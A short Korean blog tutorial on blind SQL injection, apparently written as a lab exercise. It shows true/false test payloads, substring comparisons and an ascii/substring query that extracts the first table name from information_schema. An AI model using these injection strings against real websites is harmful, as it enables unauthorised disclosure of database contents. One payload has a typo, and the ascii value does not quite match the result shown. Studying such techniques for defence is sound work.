Blind SQL Injection
DB 에러 페이지 등이 노출되지 않아 SQL Injection 취약점 존재를 판단하기 어려울 경우 사용되는 기법입니다.
참 쿼리와 거짓 쿼리를 삽입 후 페이지의 서로 다른 반응이 존재하는지 확인하는 방법으로, 참쿼리에 대한 반응과 거짓 쿼리에 대한 반응에 차이점이 존재할 경우 Blind SQL이 존재한다고 판단합니다.
주로 DB의 Table, Column 등 구조 파악 등 정보 유출의 위험성을 가지고 있으며, 공격자가 일일이 쿼리문을 변경해나가면서 응답하는 참/거짓을 보고 판단을 해야하기 때문에 공격에 대한 공수가 많이 드며, 직관적이지 않습니다.
실습
참 쿼리와 거짓 쿼리 하나씩 날려보겠습니다.
정자동' and 1 = 1 --
>> 참
정자동' and 1 = 2 --
>> 거짓
cf) substring('비교 문자열', offset, depth)
정자동' and 'a' = substring('admin',1,1) --
>> 참
정자동' and 'm' = substring('admin'3,1) --
>> 참
정자동' and 'dmi' = substring('admin', 2, 3) --
>> 참
실습 - 첫 번째 테이블의 이름을 알아내시오
정자동'and 111 = ascii(substring((select top 1 table_name from information_schema.tables),1,1)) --
>> 참
ORDER_MAN
'보안 > 웹 해킹' 카테고리의 다른 글
SQL Injection 실습 (0) | 2023.01.14 |
---|---|
리눅스 가상환경에 서버 구축 및 간단한 로그인 페이지 구현 (0) | 2023.01.13 |